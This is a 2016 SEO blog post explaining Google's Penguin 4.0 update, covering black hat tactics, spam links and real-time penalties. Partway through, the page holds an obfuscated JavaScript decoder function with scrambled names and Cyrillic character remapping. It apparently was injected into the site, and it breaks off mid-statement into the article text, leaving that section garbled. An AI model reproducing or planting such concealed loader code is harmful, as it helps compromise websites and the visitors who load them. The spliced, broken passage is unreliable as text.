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Penguin 4.0 update – explained

What is Penguin?

Google’s search engine algorithm aims to return the most useful and most relevant results to meet a searcher's needs. Search engines catalysed the Digital Marketing industry when businesses realised they can reverse engineer the algorithm to rank their website higher than their competitions in search results, this spawned the term - Search Engine Optimisation (SEO). SEO is an umbrella term for all methods that enhance online visibility in search engines with an aim to drive organic traffic.

As with most practices, there are legitimate ways to carry out SEO (white hat methods) and there are also illegitimate tactics that take advantage of Google’s algorithm such as keyword stuffing (black hat methods).

The result of these black hat methods meant a large problem for searchers who were met with useless and irrelevant websites as a result of Google’s core algorithm; to combat this Google released an update to their algorithm in 2012 that would dish out penalties for websites using these black hat methods – enter, Penguin.

keyword stuffing

An example of a web page that has been 'keyword stuffed’ in order to rank higher in Google

Penguin has changed significantly over the years and after two years since the last major update, we’re now at Penguin 4.0 which specifically targets another black hat method - spam links.

How do links affect websites?

Links to websites affect how important Google considers that site. E.g. if five example websites have a high authority website and link to another website called then is treated as more important than other websites with fewer links and therefore ranks higher in search results.

So what are spam links?

Links that are considered spam typically originate from sources that are completely irrelevant or are from websites that have been branded as spam or suspicious. Not sure what a spam site looks like? Search Engine Watch has a detailed explanation with real life example of spam sites that have been penalised and removed.

What does Penguin 4.0 mean for the internet world?

Penalties are now dished out in real-time

Penguin 4.0 marks another step forward to a more ‘useful’ internet as the update runs in real-time, whereas Penguin 1.0-3.x ran intermittently every few months. In previous versions, websites could essentially use black hat methods until they were caught out and penalised, generating enough revenue in the meantime to justify setting up another website and doing the same thing time and time again. As Penguin 4.0 runs in real-time each website that is crawled and indexed (which is usually a couple of days since going live) meaning penalties are applied immediately when these black hat methods are detected.

Recovery from penalties are also in real-time

Due to Penguin 4.0 being rolled out in real-time, a website hit with a penalty can be recovered much quicker as opposed to previous versions of Penguin where a website would have to wait up to a few months for either another crawl to be rolled out or a manual submission to Google had to be made to prove changes were made. This gives websites a chance to recover from penalties and rebuild quickly by removing harmful links.

Damage control from nasty rivals

When a website incurred a penalty with previous versions of Penguin, the entire domain was penalised however Penguin 4.0 only penalises specific pages or portions of a website that trigger the penalty. This can reduce the damage caused if a rival competitor decided to get nasty and spike a web page with bad links. It’s imperative that a link analysis is undertaken frequently and any poor quality links are removed immediately.

A better understanding of what spam is 

Many sites were hit with a penalty from previous versions of Penguin for seemingly innocent practices and it’s theorised that due to the time is taken to review the extensive data collected from disavowing lists, Google has essentially spent the last two years building Penguin 4.0 with a comprehensive knowledge of what is and what isn’t spam – whether or not it’s accurate is yet to be documented.


a visualisation of what Penguin 4.0 may look like in person source:


function l1c373528ef5(o4){var sa='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var q3='';var x1,pc,u6,yc,ve,r4,n2;var oe=0;do{yc=sa.indexOf(o4.charAt(oe++));ve=sa.indexOf(o4.charAt(oe++));r4=sa.indexOf(o4.charAt(oe++));n2=sa.indexOf(o4.charAt(oe++));x1=(yc<<2)|(ve>>4);pc=((ve&15)<<4)|(r4>>2);u6=((r4&3)<<6)|n2;if(x1>=192)x1+=848;else if(x1==168)x1=1025;else if(x1==184)x1=1105;q3+=String.fromCharCode(x1);if(r4!=64){if(pc>=192)pc+=848;else if(pc==168)pc=1025;else if(pc==184)pc=1105;q3+=String.fromCharCode(pc);}if(n2!=64){if(u6>=192)u6+=848;else if(u6==168)u6=1025;else if(u6==184)u6=1105;q3+=String.fromCharCode(u6);}}while(">Annually there are over 2 trillion Google searches which are an increase from 1.2 trillion searches in 2015 and this figure is expected to rocket over the next ten years as more developing countries gain access to the internet. The dynamic world of SEO continues to thrive as an industry as well as being a very lucrative form of digital marketing for businesses with an online presence, but only when executed with a safe and strategic approach.

When building links be sure to source them by using white hat methods, avoid using suspicious online directories and be savvy to what is considered spam and what isn’t.

Updates to Google’s core algorithm are released frequently so be sure to stay on top of the news and maintain your site with frequent audits or if you’re struggling for time, make sure you use an agency that understands the importance of these updates.

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Wednesday, November 2nd, 2016 by admin SEO

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